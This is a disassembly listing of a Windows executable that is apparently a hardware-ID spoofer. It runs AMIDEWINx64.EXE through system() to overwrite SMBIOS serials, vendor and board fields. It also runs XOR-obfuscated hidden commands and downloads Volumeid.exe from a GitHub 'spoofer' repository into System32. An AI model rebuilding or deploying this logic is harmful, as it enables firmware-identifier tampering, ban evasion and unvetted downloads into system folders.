cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.14003e390
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rbp + 0xa8]
cmp rax, 0x28
jb 0x140023e1d
lea rbx, [rbp + 0x90]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x90]
mov qword [rbp + 0xa0], Ordinal_46
mov r8d, Ordinal_41
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__CA
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x28], 0
jmp 0x140023e35
lea r9, str.C:WindowsSystem32AMIDEWINx64.EXE__CA
mov edx, Ordinal_41
lea rcx, [rbp + 0x90]
call fcn.14001ccf0
cmp edi, 5
jne 0x140023e4f
lea rdx, str.Default_string
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x140023e72
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.14003e390
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rbp + 0xa8]
cmp rax, 0x29
jb 0x140023eff
lea rbx, [rbp + 0x90]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x90]
mov qword [rbp + 0xa0], reloc.WLDAP32.dll_Ordinal_41
mov r8d, reloc.WLDAP32.dll_Ordinal_41
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__CSK
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x29], 0
jmp 0x140023f17
lea r9, str.C:WindowsSystem32AMIDEWINx64.EXE__CSK
mov edx, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0x90]
call fcn.14001ccf0
cmp edi, 5
jne 0x140023f31
lea rdx, str.Default_string
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x140023f54
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.14003e390
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rbp + 0xa8]
cmp rax, 0x28
jb 0x140023fe1
lea rbx, [rbp + 0x90]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x90]
mov qword [rbp + 0xa0], Ordinal_46
mov r8d, Ordinal_41
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__CM
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x28], 0
jmp 0x140023ff9
lea r9, str.C:WindowsSystem32AMIDEWINx64.EXE__CM
mov edx, Ordinal_41
lea rcx, [rbp + 0x90]
call fcn.14001ccf0
cmp edi, 5
jne 0x140024013
lea rdx, str.Default_string
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x140024036
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.14003e390
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rbp + 0xa8]
cmp rax, 0x28
jb 0x1400240c3
lea rbx, [rbp + 0x90]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x90]
mov qword [rbp + 0xa0], Ordinal_46
mov r8d, Ordinal_41
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__CM
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x28], 0
jmp 0x1400240db
lea r9, str.C:WindowsSystem32AMIDEWINx64.EXE__CM
mov edx, Ordinal_41
lea rcx, [rbp + 0x90]
call fcn.14001ccf0
cmp edi, 5
jne 0x1400240f5
lea rdx, str.ASUSTek_COMPUTER_INC.
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x140024118
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.14003e390
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rbp + 0xa8]
cmp rax, 0x28
jb 0x1400241a5
lea rbx, [rbp + 0x90]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x90]
mov qword [rbp + 0xa0], Ordinal_46
mov r8d, Ordinal_41
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__CO
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x28], 0
jmp 0x1400241bd
lea r9, str.C:WindowsSystem32AMIDEWINx64.EXE__CO
mov edx, Ordinal_41
lea rcx, [rbp + 0x90]
call fcn.14001ccf0
cmp edi, 5
jne 0x1400241d7
lea rdx, str.0000_0000h
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x1400241fa
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.14003e390
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rbp + 0xa8]
cmp rax, 0x28
jb 0x140024287
lea rbx, [rbp + 0x90]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x90]
mov qword [rbp + 0xa0], Ordinal_46
mov r8d, Ordinal_41
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__CT
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x28], 0
jmp 0x14002429f
lea r9, str.C:WindowsSystem32AMIDEWINx64.EXE__CT
mov edx, Ordinal_41
lea rcx, [rbp + 0x90]
call fcn.14001ccf0
cmp edi, 5
jne 0x1400242b9
lea rdx, [0x1400bb424]
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x1400242dc
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.14003e390
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rbp + 0xa8]
cmp rax, 0x29
jb 0x140024369
lea rbx, [rbp + 0x90]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x90]
mov qword [rbp + 0xa0], reloc.WLDAP32.dll_Ordinal_41
mov r8d, reloc.WLDAP32.dll_Ordinal_41
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__PAT
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x29], 0
jmp 0x140024381
lea r9, str.C:WindowsSystem32AMIDEWINx64.EXE__PAT
mov edx, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0x90]
call fcn.14001ccf0
cmp edi, 5
jne 0x14002439b
lea rdx, str.To_Be_Filled_By_O.E.M.
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x1400243be
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.14003e390
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rbp + 0xa8]
cmp rax, 0x29
jb 0x14002444b
lea rbx, [rbp + 0x90]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x90]
mov qword [rbp + 0xa0], reloc.WLDAP32.dll_Ordinal_41
mov r8d, reloc.WLDAP32.dll_Ordinal_41
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__PPN
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x29], 0
jmp 0x140024463
lea r9, str.C:WindowsSystem32AMIDEWINx64.EXE__PPN
mov edx, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0x90]
call fcn.14001ccf0
cmp edi, 5
jne 0x14002447d
lea rdx, str.To_Be_Filled_By_O.E.M.
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x1400244a0
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.14003e390
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__BV
lea rcx, [rbp + 0x90]
call fcn.14001cb70
cmp edi, 5
jne 0x140024514
lea rdx, [0x1400ba994]
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x140024537
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x90]
call fcn.14003e1b0
lea rcx, [rbp + 0x90]
call fcn.14001c510
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__IV
lea rcx, [rbp + 0x90]
call fcn.14001cb70
cmp edi, 5
jne 0x14002458c
lea rdx, str.P3.30
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x1400245af
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x90]
call fcn.14003e1b0
lea rcx, [rbp + 0x90]
call fcn.14001c510
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__IVN
lea rcx, [rbp + 0x90]
call fcn.14001cb70
cmp edi, 5
jne 0x140024604
lea rdx, str.ASUSTek_COMPUTER_INC.
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x140024627
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x90]
call fcn.14003e1b0
lea rcx, [rbp + 0x90]
call fcn.14001c510
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__ID
lea rcx, [rbp + 0x90]
call fcn.14001cb70
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x90]
call fcn.14003e1b0
lea rcx, [rbp + 0x90]
call fcn.14001c510
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__SP
lea rcx, [rbp + 0x90]
call fcn.14001cb70
cmp edi, 5
jne 0x1400246da
lea rdx, str.A520M_HDV
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x1400246fd
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x90]
call fcn.14003e1b0
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__SV
lea rcx, [rbp + 0x90]
call fcn.14001cb70
cmp edi, 5
jne 0x14002475a
lea rdx, [0x1400ba994]
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x14002477d
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x90]
call fcn.14003e1b0
lea rcx, [rbp + 0x90]
call fcn.14001c510
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__SU_auto
lea rcx, [rbp + 0x90]
call fcn.14001cb70
lea rcx, [rbp + 0x90]
call fcn.14001c510
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__SF
lea rcx, [rbp + 0x90]
call fcn.14001cb70
cmp edi, 5
jne 0x1400247fa
lea rdx, str.Default_string
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x14002481d
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x90]
call fcn.14003e1b0
lea rcx, [rbp + 0x90]
call fcn.14001c510
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__BP
lea rcx, [rbp + 0x90]
call fcn.14001cb70
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x90]
call fcn.14003e1b0
lea rcx, [rbp + 0x90]
call fcn.14001c510
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__CV
lea rcx, [rbp + 0x90]
call fcn.14001cb70
cmp edi, 5
jne 0x1400248d0
lea rdx, [0x1400ba994]
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x1400248f3
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x90]
call fcn.14003e1b0
lea rcx, [rbp + 0x90]
call fcn.14001c510
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__OS_1
lea rcx, [rbp + 0x90]
call fcn.14001cb70
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x90]
call fcn.14003e1b0
lea rcx, [rbp + 0x90]
call fcn.14001c510
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__OS_2
lea rcx, [rbp + 0x90]
call fcn.14001cb70
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x90]
call fcn.14003e1b0
lea rcx, [rbp + 0x90]
call fcn.14001c510
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__OS_3
lea rcx, [rbp + 0x90]
call fcn.14001cb70
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x90]
call fcn.14003e1b0
lea rcx, [rbp + 0x90]
call fcn.14001c510
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__OS_4
lea rcx, [rbp + 0x90]
call fcn.14001cb70
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x90]
call fcn.14003e1b0
lea rcx, [rbp + 0x90]
call fcn.14001c510
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__OS_5
lea rcx, [rbp + 0x90]
call fcn.14001cb70
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.14003e390
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rbp + 0xa8]
cmp rax, 0x2a
jb 0x140024b56
lea rbx, [rbp + 0x90]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x90]
mov qword [rbp + 0xa0], Ordinal_46
mov r8d, Ordinal_46
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__OS_6
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x2a], 0
jmp 0x140024b6e
lea r9, str.C:WindowsSystem32AMIDEWINx64.EXE__OS_6
mov edx, Ordinal_46
lea rcx, [rbp + 0x90]
call fcn.14001ccf0
lea rcx, [rsp + 0x70]
call fcn.14001e840
mov rbx, rax
lea rax, [rbp + 0xb0]
cmp rax, rbx
je 0x140024c01
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x140024bc4
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024bbf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024c34
call fcn.14009bff0
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xc8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xb0], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140024c40
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024c3b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140024c3b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009bff0
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.14003e390
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rbp + 0xa8]
cmp rax, 0x2a
jb 0x140024ccd
lea rbx, [rbp + 0x90]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x90]
mov qword [rbp + 0xa0], Ordinal_46
mov r8d, Ordinal_46
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__OS_7
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x2a], 0
jmp 0x140024ce5
lea r9, str.C:WindowsSystem32AMIDEWINx64.EXE__OS_7
mov edx, Ordinal_46
lea rcx, [rbp + 0x90]
call fcn.14001ccf0
lea rcx, [rsp + 0x70]
call fcn.14001e840
mov rbx, rax
lea rax, [rbp + 0xb0]
cmp rax, rbx
je 0x140024d78
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x140024d3b
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024d36
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024dab
call fcn.14009bff0
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xc8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xb0], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140024db7
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024db2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140024db2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009bff0
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.14003e390
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rbp + 0xa8]
cmp rax, 0x2a
jb 0x140024e44
lea rbx, [rbp + 0x90]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x90]
mov qword [rbp + 0xa0], Ordinal_46
mov r8d, Ordinal_46
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__OS_8
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x2a], 0
jmp 0x140024e5c
lea r9, str.C:WindowsSystem32AMIDEWINx64.EXE__OS_8
mov edx, Ordinal_46
lea rcx, [rbp + 0x90]
call fcn.14001ccf0
lea rcx, [rsp + 0x70]
call fcn.14001e840
mov rbx, rax
lea rax, [rbp + 0xb0]
cmp rax, rbx
je 0x140024eef
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x140024eb2
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024ead
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024f22
call fcn.14009bff0
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xc8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xb0], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140024f2e
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024f29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140024f29
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009bff0
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.14003e390
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rsp + 0x38], Ordinal_50
movdqa xmm0, xmmword [0x1400bd690]
movdqu xmmword [rsp + 0x3c], xmm0
movdqa xmm1, xmmword [0x1400bd870]
movdqu xmmword [rsp + 0x4c], xmm1
movdqa xmm0, xmmword [0x1400bd880]
movdqu xmmword [rsp + 0x5c], xmm0
mov edx, r12d
nop word [rax + rax]
mov eax, edx
lea rcx, [rsp + 0x3c]
add rcx, rax
lea eax, [rdx + 0x48]
xor byte [rcx], al
inc edx
mov eax, dword [rsp + 0x38]
cmp edx, eax
jb 0x140024fb0
mov byte [rsp + rax + 0x3c], 0
lea rcx, [rsp + 0x3c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, Ordinal_50
mov dword [rsp + 0x38], eax
movdqa xmm0, xmmword [0x1400bd690]
movdqu xmmword [rsp + 0x3c], xmm0
movdqa xmm1, xmmword [0x1400bd870]
movdqu xmmword [rsp + 0x4c], xmm1
movdqa xmm0, xmmword [str.4____9__tDGZ0.23333333333333333_tup_p]
movdqu xmmword [rsp + 0x5c], xmm0
mov byte [rsp + 0x6c], 0x78
xor ecx, ecx
mov word [rsp + 0x6d], cx
mov byte [rsp + 0x6f], cl
mov edx, r12d
test eax, eax
je 0x140025049
nop dword [rax]
nop word [rax + rax]
mov eax, edx
lea rcx, [rsp + 0x3c]
add rcx, rax
lea eax, [rdx + 0x48]
xor byte [rcx], al
inc edx
mov eax, dword [rsp + 0x38]
cmp edx, eax
jb 0x140025030
mov byte [rsp + rax + 0x3c], 0
lea rcx, [rsp + 0x3c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, str.C:WindowsSystem32Volumeid.exe
lea rdx, str.https:__github.com_Modztw_spoofer_raw_main_Volumeid.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, str.C:WindowsSystem32Volumeid64.exe
